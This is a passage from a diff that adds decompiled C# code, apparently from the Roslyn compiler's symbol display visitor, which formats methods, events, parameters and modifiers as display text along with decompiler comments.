((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)32) && IncludeNamedType(((ISymbol)symbol).ContainingType)) + { + ((ISymbol)((ISymbol)symbol).ContainingType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + AddEventName(symbol); + } + + private void AddEventName(IEventSymbol symbol) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (((ISymbol)symbol).Name.LastIndexOf('.') > 0) + { + AddExplicitInterfaceIfNeeded(symbol.ExplicitInterfaceImplementations); + base.builder.Add(CreatePart((SymbolDisplayPartKind)6, (ISymbol)(object)symbol, ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(((ISymbol)symbol).Name))); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)6, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + } + + public override void VisitMethod(IMethodSymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_022d: Unknown result type (might be due to invalid IL or missing references) + //IL_0232: Unknown result type (might be due to invalid IL or missing references) + //IL_0233: Unknown result type (might be due to invalid IL or missing references) + //IL_0235: Unknown result type (might be due to invalid IL or missing references) + //IL_027f: Expected I4, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Invalid comparison between Unknown and I4 + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Invalid comparison between Unknown and I4 + //IL_01b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Expected I4, but got Unknown + //IL_0367: Unknown result type (might be due to invalid IL or missing references) + //IL_0563: Unknown result type (might be due to invalid IL or missing references) + //IL_0294: Unknown result type (might be due to invalid IL or missing references) + //IL_03c2: Unknown result type (might be due to invalid IL or missing references) + //IL_03c7: Unknown result type (might be due to invalid IL or missing references) + //IL_03cf: Unknown result type (might be due to invalid IL or missing references) + //IL_0320: Unknown result type (might be due to invalid IL or missing references) + //IL_0327: Expected O, but got Unknown + //IL_05cb: Unknown result type (might be due to invalid IL or missing references) + //IL_0444: Unknown result type (might be due to invalid IL or missing references) + //IL_04f0: Unknown result type (might be due to invalid IL or missing references) + //IL_02ca: Unknown result type (might be due to invalid IL or missing references) + //IL_02d1: Expected O, but got Unknown + //IL_02b3: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Invalid comparison between Unknown and I4 + //IL_01c5: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Invalid comparison between Unknown and I4 + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Invalid comparison between Unknown and I4 + //IL_0580: Unknown result type (might be due to invalid IL or missing references) + //IL_03eb: Unknown result type (might be due to invalid IL or missing references) + //IL_03f4: Unknown result type (might be due to invalid IL or missing references) + //IL_0343: Unknown result type (might be due to invalid IL or missing references) + //IL_0349: Invalid comparison between Unknown and I4 + //IL_04db: Unknown result type (might be due to invalid IL or missing references) + //IL_050d: Unknown result type (might be due to invalid IL or missing references) + //IL_02ea: Unknown result type (might be due to invalid IL or missing references) + //IL_02f1: Invalid comparison between Unknown and I4 + //IL_01d5: Unknown result type (might be due to invalid IL or missing references) + //IL_01dc: Invalid comparison between Unknown and I4 + //IL_039f: Unknown result type (might be due to invalid IL or missing references) + //IL_03a4: Unknown result type (might be due to invalid IL or missing references) + //IL_03ad: Unknown result type (might be due to invalid IL or missing references) + //IL_03b2: Unknown result type (might be due to invalid IL or missing references) + //IL_05ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0415: Unknown result type (might be due to invalid IL or missing references) + //IL_0423: Unknown result type (might be due to invalid IL or missing references) + //IL_053d: Unknown result type (might be due to invalid IL or missing references) + //IL_0208: Unknown result type (might be due to invalid IL or missing references) + //IL_020e: Expected O, but got Unknown + if ((int)symbol.MethodKind == 0) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)12, (ISymbol)(object)symbol, "lambda expression")); + return; + } + if ((int)symbol.MethodKind == 18) + { + visitFunctionPointerSignature(symbol); + return; + } + if (symbol.IsExtensionMethod && (int)base.format.ExtensionMethodStyle != 0) + { + if ((int)symbol.MethodKind == 13 && (int)base.format.ExtensionMethodStyle == 2) + { + symbol = ISymbolExtensions.GetConstructedReducedFrom(symbol); + } + else if ((int)symbol.MethodKind != 13 && (int)base.format.ExtensionMethodStyle == 1) + { + symbol = symbol.ReduceExtensionMethod(symbol.Parameters.First().Type) ?? symbol; + } + } + MethodKind methodKind; + if (((ISymbol)symbol).ContainingType != null || ((ISymbol)symbol).ContainingSymbol is ITypeSymbol) + { + AddAccessibilityIfNeeded((ISymbol)(object)symbol); + AddMemberModifiersIfNeeded((ISymbol)(object)symbol); + if (ShouldMethodDisplayReadOnly(symbol)) + { + AddReadOnlyIfNeeded(); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)1)) + { + methodKind = symbol.MethodKind; + switch (methodKind - 1) + { + default: + if ((int)methodKind == 14) + { + break; + } + goto case 2; + case 3: + if (!SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1)) + { + break; + } + goto case 2; + case 1: + if (!SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1) && tryGetUserDefinedOperatorTokenKind(((ISymbol)symbol).MetadataName) != SyntaxKind.None) + { + break; + } + goto case 2; + case 2: + if (symbol.ReturnsByRef) + { + AddRefIfNeeded(); + } + else if (symbol.ReturnsByRefReadonly) + { + AddRefReadonlyIfNeeded(); + } + AddCustomModifiersIfNeeded(symbol.RefCustomModifiers); + if (symbol.ReturnsVoid) + { + AddKeyword(SyntaxKind.VoidKeyword); + } + else if (symbol.ReturnType != null) + { + AddReturnType(symbol); + } + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddCustomModifiersIfNeeded(symbol.ReturnTypeCustomModifiers); + break; + case 0: + break; + } + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)32)) + { + bool flag; + ITypeSymbol val; + if ((int)symbol.MethodKind == 17) + { + flag = false; + val = null; + } + else if ((int)symbol.MethodKind == 13) + { + val = symbol.ReceiverType; + flag = true; + } + else + { + val = (ITypeSymbol)(object)((ISymbol)symbol).ContainingType; + if (val != null) + { + flag = IncludeNamedType(((ISymbol)symbol).ContainingType); + } + else + { + val = (ITypeSymbol)((ISymbol)symbol).ContainingSymbol; + flag = true; + } + } + if (flag) + { + ((ISymbol)val).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + } + } + bool flag2 = false; + methodKind = symbol.MethodKind; + switch (methodKind - 1) + { + case 2: + case 9: + case 16: + base.builder.Add(CreatePart((SymbolDisplayPartKind)15, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + break; + case 12: + base.builder.Add(CreatePart((SymbolDisplayPartKind)29, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + break; + case 10: + case 11: + { + flag2 = true; + IPropertySymbol val3 = (IPropertySymbol)symbol.AssociatedSymbol; + if (val3 != null) + { + AddPropertyNameAndParameters(val3); + AddPunctuation(SyntaxKind.DotToken); + AddKeyword(((int)symbol.MethodKind == 11) ? SyntaxKind.GetKeyword : (IsInitOnly(symbol) ? SyntaxKind.InitKeyword : SyntaxKind.SetKeyword)); + break; + } + goto case 2; + } + case 4: + case 6: + { + flag2 = true; + IEventSymbol val2 = (IEventSymbol)symbol.AssociatedSymbol; + if (val2 != null) + { + AddEventName(val2); + AddPunctuation(SyntaxKind.DotToken); + AddKeyword(((int)symbol.MethodKind == 5) ? SyntaxKind.AddKeyword : SyntaxKind.RemoveKeyword); + break; + } + goto case 2; + } + case 0: + case 13: + { + string text2 = ((SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1) || ((ISymbol)symbol).ContainingType == null || ((ITypeSymbol)((ISymbol)symbol).ContainingType).IsAnonymousType) ? ((ISymbol)symbol).Name : ((ISymbol)((ISymbol)symbol).ContainingType).Name); + SymbolDisplayPartKind partKindForConstructorOrDestructor = GetPartKindForConstructorOrDestructor(symbol); + base.builder.Add(CreatePart(partKindForConstructorOrDestructor, (ISymbol)(object)symbol, text2)); + break; + } + case 3: + { + SymbolDisplayPartKind partKindForConstructorOrDestructor2 = GetPartKindForConstructorOrDestructor(symbol); + if (SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1) || ((ISymbol)symbol).ContainingType == null) + { + base.builder.Add(CreatePart(partKindForConstructorOrDestructor2, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + break; + } + AddPunctuation(SyntaxKind.TildeToken); + base.builder.Add(CreatePart(partKindForConstructorOrDestructor2, (ISymbol)(object)symbol, ((ISymbol)((ISymbol)symbol).ContainingType).Name)); + break; + } + case 7: + AddExplicitInterfaceIfNeeded(symbol.ExplicitInterfaceImplementations); + if (!SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1) && symbol.GetSymbol()?.OriginalDefinition is SourceUserDefinedOperatorSymbolBase sourceUserDefinedOperatorSymbolBase) + { + string text = ((ISymbol)symbol).MetadataName; + int num = text.LastIndexOf('.'); + if (num >= 0) + { + text = text.Substring(num + 1); + } + if (sourceUserDefinedOperatorSymbolBase is SourceUserDefinedConversionSymbol) + { + addUserDefinedConversionName(symbol, tryGetUserDefinedConversionTokenKind(text), text); + } + else + { + addUserDefinedOperatorName(symbol, tryGetUserDefinedOperatorTokenKind(text), text); + } + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)15, (ISymbol)(object)symbol, ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(((ISymbol)symbol).Name))); + } + break; + case 8: + case 14: + { + if (SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1)) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)15, (ISymbol)(object)symbol, ((ISymbol)symbol).MetadataName)); + break; + } + SyntaxKind syntaxKind2 = tryGetUserDefinedOperatorTokenKind(((ISymbol)symbol).MetadataName); + if (syntaxKind2 == SyntaxKind.None) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)15, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + else + { + addUserDefinedOperatorName(symbol, syntaxKind2, ((ISymbol)symbol).MetadataName); + } + break; + } + case 1: + { + if (SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)1)) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)15, (ISymbol)(object)symbol, ((ISymbol)symbol).MetadataName)); + break; + } + SyntaxKind syntaxKind = tryGetUserDefinedConversionTokenKind(((ISymbol)symbol).MetadataName); + if (syntaxKind == SyntaxKind.None) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)15, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + else + { + addUserDefinedConversionName(symbol, syntaxKind, ((ISymbol)symbol).MetadataName); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.MethodKind); + } + if (!flag2) + { + AddTypeArguments((ISymbol)(object)symbol, default(ImmutableArray>)); + AddParameters(symbol); + AddTypeParameterConstraints(symbol); + } + void addUserDefinedConversionName(IMethodSymbol symbol2, SyntaxKind conversionKind, string operatorName) + { + AddKeyword(conversionKind); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.OperatorKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + if (operatorName == "op_CheckedExplicit") + { + AddKeyword(SyntaxKind.CheckedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddReturnType(symbol2); + } + void addUserDefinedOperatorName(IMethodSymbol symbol2, SyntaxKind operatorKind, string operatorName) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + AddKeyword(SyntaxKind.OperatorKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + switch (operatorKind) + { + case SyntaxKind.TrueKeyword: + AddKeyword(SyntaxKind.TrueKeyword); + break; + case SyntaxKind.FalseKeyword: + AddKeyword(SyntaxKind.FalseKeyword); + break; + default: + if (SyntaxFacts.IsCheckedOperator(operatorName)) + { + AddKeyword(SyntaxKind.CheckedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + base.builder.Add(CreatePart((SymbolDisplayPartKind)18, (ISymbol)(object)symbol2, SyntaxFacts.GetText(operatorKind))); + break; + } + } + static SyntaxKind tryGetUserDefinedConversionTokenKind(string operatorName) + { + if ((operatorName == "op_Explicit" || operatorName == "op_CheckedExplicit") ? true : false) + { + return SyntaxKind.ExplicitKeyword; + } + if (operatorName == "op_Implicit") + { + return SyntaxKind.ImplicitKeyword; + } + return SyntaxKind.None; + } + static SyntaxKind tryGetUserDefinedOperatorTokenKind(string operatorName) + { + if (operatorName == "op_True") + { + return SyntaxKind.TrueKeyword; + } + if (operatorName == "op_False") + { + return SyntaxKind.FalseKeyword; + } + return SyntaxFacts.GetOperatorKind(operatorName); + } + void visitFunctionPointerSignature(IMethodSymbol val4) + { + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + AddKeyword(SyntaxKind.DelegateKeyword); + AddPunctuation(SyntaxKind.AsteriskToken); + if (val4.CallingConvention != SignatureCallingConvention.Default) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.UnmanagedKeyword); + ImmutableArray unmanagedCallingConventionTypes = val4.UnmanagedCallingConventionTypes; + if (val4.CallingConvention != SignatureCallingConvention.Unmanaged || !unmanagedCallingConventionTypes.IsEmpty) + { + AddPunctuation(SyntaxKind.OpenBracketToken); + switch (val4.CallingConvention) + { + case SignatureCallingConvention.CDecl: + base.builder.Add(CreatePart((SymbolDisplayPartKind)2, (ISymbol)(object)val4, "Cdecl")); + break; + case SignatureCallingConvention.StdCall: + base.builder.Add(CreatePart((SymbolDisplayPartKind)2, (ISymbol)(object)val4, "Stdcall")); + break; + case SignatureCallingConvention.ThisCall: + base.builder.Add(CreatePart((SymbolDisplayPartKind)2, (ISymbol)(object)val4, "Thiscall")); + break; + case SignatureCallingConvention.FastCall: + base.builder.Add(CreatePart((SymbolDisplayPartKind)2, (ISymbol)(object)val4, "Fastcall")); + break; + case SignatureCallingConvention.Unmanaged: + { + bool flag3 = true; + ImmutableArray.Enumerator enumerator = unmanagedCallingConventionTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + INamedTypeSymbol current = enumerator.Current; + if (!flag3) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + flag3 = false; + ArrayBuilder builder = base.builder; + string name = ((ISymbol)current).Name; + builder.Add(CreatePart((SymbolDisplayPartKind)2, (ISymbol)(object)current, name.Substring(8, name.Length - 8))); + } + break; + } + } + AddPunctuation(SyntaxKind.CloseBracketToken); + } + } + AddPunctuation(SyntaxKind.LessThanToken); + ImmutableArray.Enumerator enumerator2 = val4.Parameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + IParameterSymbol current2 = enumerator2.Current; + AddParameterRefKind(current2.RefKind); + AddCustomModifiersIfNeeded(current2.RefCustomModifiers); + ((ISymbol)current2.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddCustomModifiersIfNeeded(current2.CustomModifiers, leadingSpace: true, trailingSpace: false); + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (val4.ReturnsByRef) + { + AddRef(); + } + else if (val4.ReturnsByRefReadonly) + { + AddRefReadonly(); + } + AddCustomModifiersIfNeeded(val4.RefCustomModifiers); + ((ISymbol)val4.ReturnType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddCustomModifiersIfNeeded(val4.ReturnTypeCustomModifiers, leadingSpace: true, trailingSpace: false); + AddPunctuation(SyntaxKind.GreaterThanToken); + } + } + + private static SymbolDisplayPartKind GetPartKindForConstructorOrDestructor(IMethodSymbol symbol) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (((ISymbol)symbol).ContainingType == null) + { + return (SymbolDisplayPartKind)15; + } + return GetPartKind(((ISymbol)symbol).ContainingType); + } + + private void AddReturnType(IMethodSymbol symbol) + { + ((ISymbol)symbol.ReturnType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + } + + private void AddTypeParameterConstraints(IMethodSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.GenericsOptions, (SymbolDisplayGenericsOptions)2)) + { + AddTypeParameterConstraints(symbol.TypeArguments); + } + } + + private void AddParameters(IMethodSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)16)) + { + AddPunctuation(SyntaxKind.OpenParenToken); + AddParametersIfNeeded(symbol.IsExtensionMethod && (int)symbol.MethodKind != 13, symbol.IsVararg, symbol.Parameters); + AddPunctuation(SyntaxKind.CloseParenToken); + } + } + + public override void VisitParameter(IParameterSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Invalid comparison between Unknown and I4 + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Invalid comparison between Unknown and I4 + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Invalid comparison between Unknown and I4 + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + bool flag = SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)4); + bool flag2 = ((ISymbol)symbol).Name.Length != 0 && (SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)8) || (!SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)512) && base.builder.Count == 0)); + bool num = SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)32); + bool flag3 = SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)16) && SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)8) && symbol.HasExplicitDefaultValue && CanAddConstant(symbol.Type, symbol.ExplicitDefaultValue); + if (num && symbol.IsOptional) + { + AddPunctuation(SyntaxKind.OpenBracketToken); + } + if (flag) + { + if (SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)2)) + { + if ((int)symbol.ScopedKind == 1 && (int)symbol.RefKind != 2 && !symbol.IsThis) + { + AddKeyword(SyntaxKind.ScopedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddParameterRefKind(symbol.RefKind); + } + AddCustomModifiersIfNeeded(symbol.RefCustomModifiers); + if (SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)2)) + { + if ((int)symbol.ScopedKind == 2 && (int)symbol.RefKind == 0) + { + AddKeyword(SyntaxKind.ScopedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsParams) + { + AddKeyword(SyntaxKind.ParamsKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + ((ISymbol)symbol.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddCustomModifiersIfNeeded(symbol.CustomModifiers, leadingSpace: true, trailingSpace: false); + } + if (flag2) + { + if (flag) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + SymbolDisplayPartKind kind = (SymbolDisplayPartKind)(symbol.IsThis ? 9 : 19); + base.builder.Add(CreatePart(kind, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + if (flag3) + { + if (flag2 || flag) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddPunctuation(SyntaxKind.EqualsToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddConstantValue(symbol.Type, symbol.ExplicitDefaultValue); + } + if (num && symbol.IsOptional) + { + AddPunctuation(SyntaxKind.CloseBracketToken); + } + } + + private static bool CanAddConstant(ITypeSymbol type, object value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.TypeKind == 5) + { + return true; + } + if (value == null) + { + return true; + } + if (!value.GetType().GetTypeInfo().IsPrimitive && !(value is string)) + { + return value is decimal; + } + return true; + } + + private void AddFieldModifiersIfNeeded(IFieldSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)2) && !IsEnumMember((ISymbol)(object)symbol)) + { + if (symbol.IsConst) + { + AddKeyword(SyntaxKind.ConstKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsReadOnly) + { + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsVolatile) + { + AddKeyword(SyntaxKind.VolatileKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + } + + private void AddMemberModifiersIfNeeded(ISymbol symbol) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + INamedTypeSymbol containingType = symbol.ContainingType; + if (!SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)2) || (containingType != null && ((int)((ITypeSymbol)containingType).TypeKind == 7 || IsEnumMember(symbol) || IsLocalFunction(symbol)))) + { + return; + } + IFieldSymbol val = (IFieldSymbol)(object)((symbol is IFieldSymbol) ? symbol : null); + bool flag = val != null && val.IsConst; + val = (IFieldSymbol)(object)((symbol is IFieldSymbol) ? symbol : null); + bool flag2; + if (val == null || !val.IsRequired) + { + IPropertySymbol val2 = (IPropertySymbol)(object)((symbol is IPropertySymbol) ? symbol : null); + if (val2 == null || !val2.IsRequired) + { + flag2 = false; + goto IL_0082; + } + } + flag2 = true; + goto IL_0082; + IL_0082: + bool num = flag2; + if (symbol.IsStatic && !flag) + { + AddKeyword(SyntaxKind.StaticKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsOverride) + { + AddKeyword(SyntaxKind.OverrideKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsAbstract) + { + AddKeyword(SyntaxKind.AbstractKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsSealed) + { + AddKeyword(SyntaxKind.SealedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsExtern) + { + AddKeyword(SyntaxKind.ExternKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsVirtual) + { + AddKeyword(SyntaxKind.VirtualKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (num) + { + AddKeyword(SyntaxKind.RequiredKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + + private void AddParametersIfNeeded(bool hasThisParameter, bool isVarargs, ImmutableArray parameters) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + if ((int)base.format.ParameterOptions == 0) + { + return; + } + bool flag = true; + if (!parameters.IsDefault) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterSymbol current = enumerator.Current; + if (!flag) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + else if (hasThisParameter && SymbolDisplayExtensions.IncludesOption(base.format.ParameterOptions, (SymbolDisplayParameterOptions)1)) + { + AddKeyword(SyntaxKind.ThisKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + flag = false; + ((ISymbol)current).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + } + } + if (isVarargs) + { + if (!flag) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddKeyword(SyntaxKind.ArgListKeyword); + } + } + + private void AddAccessor(IPropertySymbol property, IMethodSymbol method, SyntaxKind keyword) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (method != null) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + if (((ISymbol)method).DeclaredAccessibility != ((ISymbol)property).DeclaredAccessibility) + { + AddAccessibility((ISymbol)(object)method); + } + if (!ShouldPropertyDisplayReadOnly(property) && ShouldMethodDisplayReadOnly(method, property)) + { + AddReadOnlyIfNeeded(); + } + AddKeyword(keyword); + AddPunctuation(SyntaxKind.SemicolonToken); + } + } + + private void AddExplicitInterfaceIfNeeded(ImmutableArray implementedMembers) where T : ISymbol + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)8) && !implementedMembers.IsEmpty) + { + INamedTypeSymbol containingType = ((ISymbol)implementedMembers[0]).ContainingType; + if (containingType != null) + { + ((ISymbol)containingType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + } + } + + private void AddCustomModifiersIfNeeded(ImmutableArray customModifiers, bool leadingSpace = false, bool trailingSpace = true) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + if (!SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)16) || customModifiers.IsEmpty) + { + return; + } + bool flag = true; + ImmutableArray.Enumerator enumerator = customModifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + CustomModifier current = enumerator.Current; + if (!flag || leadingSpace) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + flag = false; + base.builder.Add(CreatePart((SymbolDisplayPartKind)34, null, current.IsOptional ? "modopt" : "modreq")); + AddPunctuation(SyntaxKind.OpenParenToken); + ((ISymbol)current.Modifier).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.CloseParenToken); + } + if (trailingSpace) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + + private void AddRefIfNeeded() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)128)) + { + AddRef(); + } + } + + private void AddRef() + { + AddKeyword(SyntaxKind.RefKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + + private void AddRefReadonlyIfNeeded() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)128)) + { + AddRefReadonly(); + } + } + + private void AddRefReadonly() + { + 